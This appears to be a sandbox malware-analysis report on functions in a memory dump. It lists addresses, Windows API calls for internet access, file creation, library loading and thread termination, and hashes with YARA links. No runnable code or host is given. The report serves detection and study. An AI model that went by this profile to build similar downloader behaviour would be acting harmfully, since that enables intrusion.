Instruction ID: 1f68b0b38fe57d65c544485cad69621c029fde30a3d17c6f4c2aa13afd30fead
Opcode Fuzzy Hash: 5967355a3d28d937eaffe55b8fb8f70c4f6be3a4c7f860b42dbb4ab185a11b61
Instruction Fuzzy Hash: C99002A534101446D100616E4419B1A000597E1781FD1C125E5054554D8659CC527166

Uniqueness

Uniqueness Score: -1.00%

Function 00564241, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 83libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00563AC4: InternetOpenA.WININET(000000AA,00000000,00000000,00000000,00000000), ref: 00563AF9
Part of subcall function 00563AC4: InternetOpenUrlA.WININET(?,000000B8,00000000,00000000,84000100,00000000,?,?,00000002,?,00000004), ref: 00563C11

LdrInitializeThunk.NTDLL ref: 00564351

Strings

6, xrefs: 00564274

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: InternetOpen$InitializeThunk
String ID: 6
API String ID: 518753361-498629140
Opcode ID: c0da63f140e1843377569934f76ba212e84fefe06217ebbc4351b8f22bcfa62c
Instruction ID: 072a3ad68cb15df46ad9b6c5ce899eac709c76dd08b0ad7d11881d2da5d02af0
Opcode Fuzzy Hash: c0da63f140e1843377569934f76ba212e84fefe06217ebbc4351b8f22bcfa62c
Instruction Fuzzy Hash: BF21CB2060A7929BD7215BB488B93C77F957F53360F6C869DC8C10B1D3CA528D04E782

Uniqueness

Uniqueness Score: -1.00%

Function 0056717E, Relevance: 1.6, APIs: 1, Instructions: 142fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE ref: 005675BE

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: ee2c5bf0bdbf7a23963e0585b9b47fc8e05c9f8560c324abaebb5f6751d657c3
Instruction ID: d5c2c42fef44b0a0600c8753892c80a657daa8c76e923b3286e8673601a585e0
Opcode Fuzzy Hash: ee2c5bf0bdbf7a23963e0585b9b47fc8e05c9f8560c324abaebb5f6751d657c3
Instruction Fuzzy Hash: D541EA3070CA0DCEEF285D28C9687B56E52BF6E35CFB44D66DC5387192D73588C4A612

Uniqueness

Uniqueness Score: -1.00%

Function 0056257A, Relevance: 1.6, APIs: 1, Instructions: 141threadCOMMON

Download Yara Rule

APIs

TerminateThread.KERNELBASE(000000FE,00000000), ref: 0056262B

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: TerminateThread
String ID:
API String ID: 1852365436-0
Opcode ID: ba31976f6efd2bfd121d9e306a5a177d217ff8915e4f2b18f50e6f6c0d1153ed
Instruction ID: 78f8325c46ff33cbab35ba17de00b0866b45702099388083f3a06936a3e6d85b
Opcode Fuzzy Hash: ba31976f6efd2bfd121d9e306a5a177d217ff8915e4f2b18f50e6f6c0d1153ed
Instruction Fuzzy Hash: B52138B1104306AFDB315A14CDA5BDA3F54BF1A374F610752ED638B2E2D721C985C911

Uniqueness

Uniqueness Score: -1.00%

Function 005671A6, Relevance: 1.6, APIs: 1, Instructions: 137fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE ref: 005675BE

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 4890545a182ad93192da7e7ebd83f0a16c1b498baf1fc58d734699463aefc8c3
Instruction ID: d36f949b4ff0d0d5e2203a1cbcf01095c102e4d79ea220fd8632839d43f1373e
Opcode Fuzzy Hash: 4890545a182ad93192da7e7ebd83f0a16c1b498baf1fc58d734699463aefc8c3
Instruction Fuzzy Hash: 4941CA2070CA0DCEEF285D28C9687F56E52BF6D32CFB84E66DD53471D1D72588C0A652

Uniqueness

Uniqueness Score: -1.00%

Function 005671CA, Relevance: 1.6, APIs: 1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f7872b8f36fcb188d2b9288e95f90adf98051152baca821c84204ab79603cd6
Instruction ID: 2e030fbb89786844675650829c60793029bd23580972fbf10733a97494731ed2
Opcode Fuzzy Hash: 8f7872b8f36fcb188d2b9288e95f90adf98051152baca821c84204ab79603cd6
Instruction Fuzzy Hash: 8841C82070CA0DCEDF281D28C9687B56E91BB2D36CFB84E66DD53471D1D72588C0A652

Uniqueness

Uniqueness Score: -1.00%

Function 005671EF, Relevance: 1.6, APIs: 1, Instructions: 129fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE ref: 005675BE

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: a090b24bd3bf1862935b616aa66c0b8788ef83d989b7bdd4556775bcfef4c953
Instruction ID: 5fe5a4bb94da91891b6da7c763bfb1e5f77b6b80a21188f242da7d3bd512af86
Opcode Fuzzy Hash: a090b24bd3bf1862935b616aa66c0b8788ef83d989b7bdd4556775bcfef4c953
Instruction Fuzzy Hash: FE41C72070CA0DCFEF280E28C9687B56E51BF6D32DFA84D66DD53871D2D72588C4A752

Uniqueness

Uniqueness Score: -1.00%

Function 005672E9, Relevance: 1.6, APIs: 1, Instructions: 113fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE ref: 005675BE

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 66c89285bc5a5d862d0e7cc45c14443f67591feba0c8c5566bd7d29ed3203850
Instruction ID: df1596ce9a03ba2d0188cc14d3cd64a9244f9725882465f8ad3d413c59149a98
Opcode Fuzzy Hash: 66c89285bc5a5d862d0e7cc45c14443f67591feba0c8c5566bd7d29ed3203850
Instruction Fuzzy Hash: F431E73070DA1DCFDF280A28C8287F56E91BB6E32DFA95E95D853472D1DB2448C0A791

Uniqueness

Uniqueness Score: -1.00%

Function 0056728A, Relevance: 1.6, APIs: 1, Instructions: 113fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE ref: 005675BE

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 7cb336e92c1cd6eb30579e8e7e77c0055e29c0c13352f2919745cf7b2b2b24fd
Instruction ID: 90639cb2e07c09b322b399118bdb4b914599769c8ed703ccef16ef4c49ed5f28
Opcode Fuzzy Hash: 7cb336e92c1cd6eb30579e8e7e77c0055e29c0c13352f2919745cf7b2b2b24fd
Instruction Fuzzy Hash: 8C31B62060CA0DCFDF281A2CC8687F56E51BB2E32DFA94E56DC53471D2DB2548C0AA52

Uniqueness

Uniqueness Score: -1.00%

Function 005672A6, Relevance: 1.6, APIs: 1, Instructions: 111fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE ref: 005675BE

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 20bfa997af9ae10a1240cdc3b630becb47b4dfdb5222fe8d1d5e57cab55ea3b2
Instruction ID: d838d1b409ee78dc586c2a13f5b8acde5d95674edda4ecb09305ac2145b85e1f
Opcode Fuzzy Hash: 20bfa997af9ae10a1240cdc3b630becb47b4dfdb5222fe8d1d5e57cab55ea3b2
Instruction Fuzzy Hash: DF31C72070CA0DCFEF281A2CC8287F56E51BB2E32DFA94E56DC53471D2DB2448C0AB52

Uniqueness

Uniqueness Score: -1.00%

Function 0056727D, Relevance: 1.6, APIs: 1, Instructions: 110fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE ref: 005675BE

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: bac225424b5b1852635413469a44cd0bad3dec9109a1b3f1c2399741dac24627
Instruction ID: 0298239b8a42357f43a275d004e5b1b228571cd906f3d1c82bd93d1c76897ed7
Opcode Fuzzy Hash: bac225424b5b1852635413469a44cd0bad3dec9109a1b3f1c2399741dac24627
Instruction Fuzzy Hash: 2631D63070CA0DCFEF280A28C9687B56E61BF2D31DFB94D96DC5347192D73588C4AA52

Uniqueness

Uniqueness Score: -1.00%

Function 005672C4, Relevance: 1.6, APIs: 1, Instructions: 107fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE ref: 005675BE

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: f3b70568175e1fcea144476b9da6b421246664496f261fe05b8f17eea97262ea
Instruction ID: 9c598af2c7c009cff4c167b25d3703d1cf7b15c86f57e2bd19a73c4f56237d11
Opcode Fuzzy Hash: f3b70568175e1fcea144476b9da6b421246664496f261fe05b8f17eea97262ea
Instruction Fuzzy Hash: D531C13070DA0DCFDF280A28C8687F56F61BB2D32DFA95E96D853471D2DB6448C0AA52

Uniqueness

Uniqueness Score: -1.00%

Function 005639D4, Relevance: 1.6, APIs: 1, Instructions: 102libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00565390: LoadLibraryA.KERNELBASE(?,?,0000A20A,?,?,?,?,?,00000001,00000000), ref: 00565544

Part of subcall function 00563AC4: InternetOpenA.WININET(000000AA,00000000,00000000,00000000,00000000), ref: 00563AF9
Part of subcall function 00563AC4: InternetOpenUrlA.WININET(?,000000B8,00000000,00000000,84000100,00000000,?,?,00000002,?,00000004), ref: 00563C11

LdrInitializeThunk.NTDLL ref: 00564351

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: InternetOpen$InitializeLibraryLoadThunk
String ID:
API String ID: 1998099105-0
Opcode ID: b0b1bcd1bf1cfd949392080b3abaeb5d82b6c93a6c083e52fc8f2ab1a2ee6b91
Instruction ID: ccd371171591d24617a67475feda3deb43d54201731dd3f36b66485426b96af2
Opcode Fuzzy Hash: b0b1bcd1bf1cfd949392080b3abaeb5d82b6c93a6c083e52fc8f2ab1a2ee6b91
Instruction Fuzzy Hash: CC31483164579A8BCB309F7488653CA3F927F96350F68450DD8824B3C6EA704941D796

Uniqueness

Uniqueness Score: -1.00%

Function 00567337, Relevance: 1.6, APIs: 1, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE ref: 005675BE

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 312fe057b7420903a326bb96b815b0a0ba858764b0dce3788e5502b50b1fabee
Instruction ID: 9748eca1899b2c5960eafccd00b24396cd7ab5a02992bd800fdf4974ce992dc0
Opcode Fuzzy Hash: 312fe057b7420903a326bb96b815b0a0ba858764b0dce3788e5502b50b1fabee
Instruction Fuzzy Hash: 5B31C82060CA1DCFDF281A2CC85C7F46E51BB3E32CFA94E99D863471E2DB6548C09752

Uniqueness

Uniqueness Score: -1.00%

Function 005639C3, Relevance: 1.6, APIs: 1, Instructions: 99libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00565390: LoadLibraryA.KERNELBASE(?,?,0000A20A,?,?,?,?,?,00000001,00000000), ref: 00565544

Part of subcall function 00563AC4: InternetOpenA.WININET(000000AA,00000000,00000000,00000000,00000000), ref: 00563AF9
Part of subcall function 00563AC4: InternetOpenUrlA.WININET(?,000000B8,00000000,00000000,84000100,00000000,?,?,00000002,?,00000004), ref: 00563C11

LdrInitializeThunk.NTDLL ref: 00564351

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: InternetOpen$InitializeLibraryLoadThunk
String ID:
API String ID: 1998099105-0
Opcode ID: aede5722699cbec701651ed3c1ce6e1e43126c0186b64463c4f719ca6f75d5dc
Instruction ID: 446c3e67374a7d787d6531f110df2f5a490330ef31da74b1df46291ad472ff82
Opcode Fuzzy Hash: aede5722699cbec701651ed3c1ce6e1e43126c0186b64463c4f719ca6f75d5dc
Instruction Fuzzy Hash: 7131693074578A8BCB309F7484A53CA3FA27F96390FA4440ED8C64B386EB718A41D796

Uniqueness

Uniqueness Score: -1.00%

Function 005638CD, Relevance: 1.6, APIs: 1, Instructions: 98libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00563AC4: InternetOpenA.WININET(000000AA,00000000,00000000,00000000,00000000), ref: 00563AF9
Part of subcall function 00563AC4: InternetOpenUrlA.WININET(?,000000B8,00000000,00000000,84000100,00000000,?,?,00000002,?,00000004), ref: 00563C11

LdrInitializeThunk.NTDLL ref: 00564351

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: InternetOpen$InitializeThunk
String ID:
API String ID: 518753361-0
Opcode ID: 92af4f66c34b66f23655c93e70b9959f7ead515878788adcb9a243d2bdbfb080
Instruction ID: 51b1d2f15ea327e81d430179606b2a4d597876be8d367b5be8f1f979ad361c4d
Opcode Fuzzy Hash: 92af4f66c34b66f23655c93e70b9959f7ead515878788adcb9a243d2bdbfb080
Instruction Fuzzy Hash: FF31573050A7968BCB215F34887429B7FA1BF57320F388A9DE8910B2D3DB714904EB81

Uniqueness

Uniqueness Score: -1.00%

Function 00563B52, Relevance: 1.6, APIs: 1, Instructions: 98networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlA.WININET(?,000000B8,00000000,00000000,84000100,00000000,?,?,00000002,?,00000004), ref: 00563C11

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: InternetOpen
String ID:
API String ID: 2038078732-0
Opcode ID: ca6b4fab2395175dadd4e11fc544e7dfb8ed5b06dcdd57ff8dcfa4546299362d
Instruction ID: 7eecc8c56a24eb130ad8c87328c8962039f02f1b72c7f42e45aeeaed6c5d07c2
Opcode Fuzzy Hash: ca6b4fab2395175dadd4e11fc544e7dfb8ed5b06dcdd57ff8dcfa4546299362d
Instruction Fuzzy Hash: 6831F53024038A9EFB344E68CE45BFA3BA9BF063A0F244425FD469B1D1E7709E41A720

Uniqueness

Uniqueness Score: -1.00%

Function 00563BB2, Relevance: 1.6, APIs: 1, Instructions: 91networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlA.WININET(?,000000B8,00000000,00000000,84000100,00000000,?,?,00000002,?,00000004), ref: 00563C11

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: InternetOpen
String ID:
API String ID: 2038078732-0
Opcode ID: d2ca65ac2cf33c4b24f901a0aaf9eb74707e031f96f0cc613803e4838e60f677
Instruction ID: f4d3f65f7f8030eeb070a117925ed25bb986c12c40a720ae25e74d3fdb097ff8
Opcode Fuzzy Hash: d2ca65ac2cf33c4b24f901a0aaf9eb74707e031f96f0cc613803e4838e60f677
Instruction Fuzzy Hash: AD21053164438A9EFB358E64CD85BFA3F69FF05390F204425ED46AB591E3708E42EB11

Uniqueness

Uniqueness Score: -1.00%

Function 005638D2, Relevance: 1.6, APIs: 1, Instructions: 86libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00563AC4: InternetOpenA.WININET(000000AA,00000000,00000000,00000000,00000000), ref: 00563AF9
Part of subcall function 00563AC4: InternetOpenUrlA.WININET(?,000000B8,00000000,00000000,84000100,00000000,?,?,00000002,?,00000004), ref: 00563C11

LdrInitializeThunk.NTDLL ref: 00564351

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: InternetOpen$InitializeThunk
String ID:
API String ID: 518753361-0
Opcode ID: ac09920403a93520585fe1b939520cda9a43509d5208c1d56a474bdfd3fcdd94
Instruction ID: 007fd7dab4676973b58cd3e1f00106a585af1d8410e80ec40441f7da00b21c16
Opcode Fuzzy Hash: ac09920403a93520585fe1b939520cda9a43509d5208c1d56a474bdfd3fcdd94
Instruction Fuzzy Hash: CC21552054A79587CB205F7488A92CB7FA17F67320F3C864DD4A10B2E3CE614904EBD6

Uniqueness

Uniqueness Score: -1.00%

Function 00563A32, Relevance: 1.6, APIs: 1, Instructions: 85libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00565390: LoadLibraryA.KERNELBASE(?,?,0000A20A,?,?,?,?,?,00000001,00000000), ref: 00565544

Part of subcall function 00563AC4: InternetOpenA.WININET(000000AA,00000000,00000000,00000000,00000000), ref: 00563AF9
Part of subcall function 00563AC4: InternetOpenUrlA.WININET(?,000000B8,00000000,00000000,84000100,00000000,?,?,00000002,?,00000004), ref: 00563C11

LdrInitializeThunk.NTDLL ref: 00564351

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: InternetOpen$InitializeLibraryLoadThunk
String ID:
API String ID: 1998099105-0
Opcode ID: c01c4cbd8f2f972e9a5bdaea66770b6ae48a7379eb55ca8b60bfb912efdce4bb
Instruction ID: 2ec616de98a51d759545b952796c40a05d6dbd4f26d1ca6d4c667c86c32920a5
Opcode Fuzzy Hash: c01c4cbd8f2f972e9a5bdaea66770b6ae48a7379eb55ca8b60bfb912efdce4bb
Instruction Fuzzy Hash: 6B219C3164579A87C7309F7488653CB7F927F93360F68820DD8820B3D7DA718941D796

Uniqueness

Uniqueness Score: -1.00%

Function 005625EE, Relevance: 1.6, APIs: 1, Instructions: 83threadCOMMON

Download Yara Rule

APIs

TerminateThread.KERNELBASE(000000FE,00000000), ref: 0056262B

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: TerminateThread
String ID:
API String ID: 1852365436-0
Opcode ID: 1a803daa7a50a4054d8031559ebef51fa0900c7a94ca583a34509665772562ff
Instruction ID: 68da6bd9a6f429ec1eaa4ca8b279f1d7b884b64d977e8ed9e157b20370562d21
Opcode Fuzzy Hash: 1a803daa7a50a4054d8031559ebef51fa0900c7a94ca583a34509665772562ff
Instruction Fuzzy Hash: 522135B1104306AFDB305A14CDA5BDA3F54BF1A374F610351ED638B2E2D721CA85C911

Uniqueness

Uniqueness Score: -1.00%

Function 00563BDA, Relevance: 1.6, APIs: 1, Instructions: 82networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlA.WININET(?,000000B8,00000000,00000000,84000100,00000000,?,?,00000002,?,00000004), ref: 00563C11

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: InternetOpen
String ID:
API String ID: 2038078732-0
Opcode ID: 6add29caf5096a7b4cc29007fffa78e4a94310453b01c6571b4dad30c2f04098
Instruction ID: 4a88f81ba96ed1f9aaa589b6dfe7f687c2ae6d380e2013c62ee3bbaed0b7371e
Opcode Fuzzy Hash: 6add29caf5096a7b4cc29007fffa78e4a94310453b01c6571b4dad30c2f04098
Instruction Fuzzy Hash: 6421D73164038B9FFB344D64CD54BFA3B99BF157A0F204525FD469B5C1E7708E41A624

Uniqueness

Uniqueness Score: -1.00%

Function 0056260B, Relevance: 1.6, APIs: 1, Instructions: 81threadCOMMON

Download Yara Rule

APIs

TerminateThread.KERNELBASE(000000FE,00000000), ref: 0056262B

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: TerminateThread
String ID:
API String ID: 1852365436-0
Opcode ID: 8b706b62e507782ea7c2819bc1ab0bd254d3f9f05d5785513719f690a2a57eec
Instruction ID: f39cd68d813e1ae6a6d40336de5a85d7661d0e734c7fbf3620ca12a28b90f4a4
Opcode Fuzzy Hash: 8b706b62e507782ea7c2819bc1ab0bd254d3f9f05d5785513719f690a2a57eec
Instruction Fuzzy Hash: F2212772101705AFDB205A54CDA9BEA7F58BF1A734F610345ED63872E2DB20CA80D921

Uniqueness

Uniqueness Score: -1.00%

Function 005673A2, Relevance: 1.6, APIs: 1, Instructions: 81fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE ref: 005675BE

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 861fb979fd72b654a9e923eb05a5b9694bdddeec0cd5317c8ae18f881d30ec02
Instruction ID: 2c8180656199c17da0615e6a7f34120e3a3f133330528b000d3a3cb801bd5751
Opcode Fuzzy Hash: 861fb979fd72b654a9e923eb05a5b9694bdddeec0cd5317c8ae18f881d30ec02
Instruction Fuzzy Hash: 0221B33060CA1DCFDF281A2CC85C7B56E61BB2D32DFA95E96D863470E1DB7448C09B52

Uniqueness

Uniqueness Score: -1.00%

Function 0056425C, Relevance: 1.6, APIs: 1, Instructions: 79libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00563AC4: InternetOpenA.WININET(000000AA,00000000,00000000,00000000,00000000), ref: 00563AF9
Part of subcall function 00563AC4: InternetOpenUrlA.WININET(?,000000B8,00000000,00000000,84000100,00000000,?,?,00000002,?,00000004), ref: 00563C11

LdrInitializeThunk.NTDLL ref: 00564351

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: InternetOpen$InitializeThunk
String ID:
API String ID: 518753361-0
Opcode ID: 8e978ffcd6925cd2042f114cbb8d163606ba37884f3b146c27a7f4139f6612a6
Instruction ID: 2978eb5bd2f3db5573155c691cfac683579ef54efeda09c609a79cbb6fc8ee2c
Opcode Fuzzy Hash: 8e978ffcd6925cd2042f114cbb8d163606ba37884f3b146c27a7f4139f6612a6
Instruction Fuzzy Hash: B921BB2164A7A687C7216B7888B5187BF927FA3320B7C868CD0D10B2E3CD514D00E7D6

Uniqueness

Uniqueness Score: -1.00%

Function 005673E1, Relevance: 1.6, APIs: 1, Instructions: 79fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE ref: 005675BE

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 0f9afe63f444613f5af10ccc29f04bf6954d5ed8adfbc608f89addfc9d2ca43f
Instruction ID: 7de8aa6de0c16f9d365f74b4f4aa78b3639e4298acec2c900705aa56dd534c9e
Opcode Fuzzy Hash: 0f9afe63f444613f5af10ccc29f04bf6954d5ed8adfbc608f89addfc9d2ca43f
Instruction Fuzzy Hash: C221C33060DA1DCFDF281A2CC86C7B56EA1BB2D32DFA95D96D463470A2DB3448C4D752

Uniqueness

Uniqueness Score: -1.00%

Function 005673C4, Relevance: 1.6, APIs: 1, Instructions: 78fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE ref: 005675BE

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 0559bd5c1d642e2cd575428329f465cac442c54ffb2e72adfcb22234199bdf91
Instruction ID: 1f86686a0d179d99782f00ba502dbabd3d77669065cd6bc0ea26233dd6814372
Opcode Fuzzy Hash: 0559bd5c1d642e2cd575428329f465cac442c54ffb2e72adfcb22234199bdf91
Instruction Fuzzy Hash: D821D73060DA1DCFDF281A2CC86C7B56E61BB2D32DFA95E96D863470E1CB3048C09752

Uniqueness

Uniqueness Score: -1.00%

Function 00567399, Relevance: 1.6, APIs: 1, Instructions: 77fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE ref: 005675BE

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: ee37b0bf4d8c9c5deebb8ad933af6c07accc46e7043bf861957fb6ff8328893b
Instruction ID: 69be5a14fe33d9edbc1b738bc29df2a51dcaaac13abbbe1f6fed0ce51317307c
Opcode Fuzzy Hash: ee37b0bf4d8c9c5deebb8ad933af6c07accc46e7043bf861957fb6ff8328893b
Instruction Fuzzy Hash: F121A43060CA1DCFDF285A2CC85C7B46E61BB2D32DFA85D9AC853470A1C77588C0EB52

Uniqueness

Uniqueness Score: -1.00%

Function 00563BD6, Relevance: 1.6, APIs: 1, Instructions: 76networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlA.WININET(?,000000B8,00000000,00000000,84000100,00000000,?,?,00000002,?,00000004), ref: 00563C11

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: InternetOpen
String ID:
API String ID: 2038078732-0
Opcode ID: 5ed56e813a6a3af217ea19dd03828944c676e2efd599b704d1c721f4bee823f3
Instruction ID: 7d683b1d813cf5ad4aa472ceceec59215587080d437600f3ca9f5b1d49df9a7a
Opcode Fuzzy Hash: 5ed56e813a6a3af217ea19dd03828944c676e2efd599b704d1c721f4bee823f3
Instruction Fuzzy Hash: 6221A57064428B9EFB344E24CE85BFE3B69FF05390F204435ED46EB581E7709E45AA15

Uniqueness

Uniqueness Score: -1.00%

Function 00563980, Relevance: 1.6, APIs: 1, Instructions: 74libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,?,0000A20A,?,?,?,?,?,00000001,00000000), ref: 00565544

Part of subcall function 005639C3: LdrInitializeThunk.NTDLL ref: 00564351

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: InitializeLibraryLoadThunk
String ID:
API String ID: 3353482560-0
Opcode ID: 62ca7504dd25d2e0e2e5622467c29ec25005a370b2472b941f53b95e0c75bf39
Instruction ID: e81e82933a9231c9c22480432521d5ae90d36dda5641827c6e13b8a73c0de221
Opcode Fuzzy Hash: 62ca7504dd25d2e0e2e5622467c29ec25005a370b2472b941f53b95e0c75bf39
Instruction Fuzzy Hash: 3E11BD22A80B2947D61028600C2A1EB6B4277A2BB0FBC961CD412073D1AD014A05A7C5

Uniqueness

Uniqueness Score: -1.00%

Function 00567404, Relevance: 1.6, APIs: 1, Instructions: 73fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE ref: 005675BE

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 45394aefd6562cd7ed773e98fdc700e304c4ef470054c7fa8c89561c9cc7776d
Instruction ID: 19b3b0492e39b7d4b3283c458d9bf0fc95d076ffb29d9728ce7cdd073c07dc4e
Opcode Fuzzy Hash: 45394aefd6562cd7ed773e98fdc700e304c4ef470054c7fa8c89561c9cc7776d
Instruction Fuzzy Hash: C721A22060DA1DCFDF285A2CC86C7B56E62BB2D32DFA95D9AC413470A1DB3488C4DB52

Uniqueness

Uniqueness Score: -1.00%

Function 0056746D, Relevance: 1.6, APIs: 1, Instructions: 71fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE ref: 005675BE

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 7776a11a0798178ad91014e5dae009103ccfa9ee5b299985ca4ce96ebf095a3b
Instruction ID: 06032acb045a8975ba4b9e0af8d0b3ac3dd4f1b88b99caddb519b54120e11196
Opcode Fuzzy Hash: 7776a11a0798178ad91014e5dae009103ccfa9ee5b299985ca4ce96ebf095a3b
Instruction Fuzzy Hash: 0611E63164D96D8FDF28092CD4783F56F92BB2A32CFA9598AC063471E2DB210CC4C792

Uniqueness

Uniqueness Score: -1.00%

Function 00565392, Relevance: 1.6, APIs: 1, Instructions: 69libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,?,0000A20A,?,?,?,?,?,00000001,00000000), ref: 00565544

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: d45fd8373f5dd046008a757f8e4b6af626577f140ae2332512bed258dc1d296c
Instruction ID: cb36c60f6ca156284437be07fdc10ca1efc460e6e3452a6bc4ed7242737d51ba
Opcode Fuzzy Hash: d45fd8373f5dd046008a757f8e4b6af626577f140ae2332512bed258dc1d296c
Instruction Fuzzy Hash: 2711C2505C8F1AA7CD3026144D98BFE6E56BB727B3F704A26FC0343292BA5488C56693

Uniqueness

Uniqueness Score: -1.00%

Function 00567442, Relevance: 1.6, APIs: 1, Instructions: 67fileCOMMON

Download Yara Rule

APIs

